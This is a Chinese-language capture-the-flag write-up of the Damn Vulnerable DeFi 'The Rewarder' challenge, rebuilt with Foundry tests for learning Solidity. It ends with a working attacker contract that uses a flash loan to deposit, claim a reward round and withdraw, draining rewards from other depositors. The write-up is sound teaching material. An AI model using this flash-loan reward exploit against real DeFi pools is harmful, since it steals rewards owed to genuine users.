挑戰 #4 - The Rewarder#
為了學習 solidity 和 foundry 系統,我基於 foundry 測試框架重新編寫了 damnvulnerable-defi 的解題,歡迎交流和共建~🎉
合約#
本題涉及的合約比較多,首先介紹 ERC20Snapshot 合約
ERC20Snapshot:繼承自 ERC20,通過 SnapshotId 可以追溯到每一個快照時間點的帳戶餘額和總供應量,在 ERC20 token 的 transfer 之前會通過 beforeTransfer 來更新當前快照 ID 下的帳號餘額和總供應,通常用作分紅、投票、空投等快照場景
這道題目中主要由 RewardToken、AccountingToken、LiquidityToken 和 TheRewarderPool 組成,它們的關係如下:
- TheRewarderPool 對外提供 deposit 和 withdraw 方法
- deposit:用戶存入 liquidityToken,mint 對應份額的 AccountingToken,根據當前的快照輪次 mint 出一定數目的 rewardToken,每 5 天一個新的快照輪次
- withdraw:burn 對應份額的 AccountingToken,將用戶存入的 liquidityToken 轉移給用戶
除此之外,本題還提供一個閃電貸合約,可用於通過閃電貸借出 liquidityToken
測試#
- 創建 alice bob charlie david 四名用戶,記錄為 users
- 部署 LiquidityToken FlashLoanerPool 合約,向 FlashLoanerPool 中轉入 liquidityToken 數目為:TOKENS_IN_LENDER_POOL
- 部署 TheRewarderPool (連帶部署 RewardToken AccountingToken)
- 遍歷 users 數組,向每個用戶都轉入一定數目的 liquidityToken,並 deposit 到 TheRewarderPool,此時輪次為 1
- 將區塊時間戳向後延長 5 天,再次遍歷 user 數組,依次觸發 distributeRewards,每個用戶都等分到 rewardToken,此時輪次為 2
- 執行攻擊腳本
- 期望當前輪次為 3,遍歷 users 數組,觸發 distributeRewards,每個用戶分到的 rewardToken 少於原來的 1/4
- 期望 player 的 rewardToken 餘額大於 0
- 期望 player 的 liquidityToken 數目為 0,FlashLoanerPool 中的 liquidityToken 數目不變
解題#
假設沒有任何額外的用戶操作,在下一輪次分配獎勵的時候,users 數組中的四位用戶將會繼續評分獎勵,每個用戶分到的 rewardToken 為總數的 1/4
為了達到測試腳本的期望值,需要 player 參與 rewardToken 的分配,可以通過閃電貸借出 liquidityToken,deposit 到 TheRewarderPool,此時可以觸發新一輪的 rewardToken 分配,再通過 withdraw 贖回 liquidityToken 並返還給 FlashLoanerPool
攻擊合約代碼如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
FlashLoanerPool flashloan;
TheRewarderPool pool;
DamnValuableToken dvt;
RewardToken reward;
address internal owner;
constructor(address _flashloan,address _pool,address _dvt,address _reward){
flashloan = FlashLoanerPool(_flashloan);
pool = TheRewarderPool(_pool);
dvt = DamnValuableToken(_dvt);
reward = RewardToken(_reward);
owner = msg.sender;
}
function attack(uint256 amount) external {
flashloan.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external{
dvt.approve(address(pool), amount);
// deposit liquidity token get reward token
pool.deposit(amount);
// withdraw liquidity token
pool.withdraw(amount);
// repay to flashloan
dvt.transfer(address(flashloan), amount);
reward.transfer(owner, reward.balanceOf(address(this)));
}
}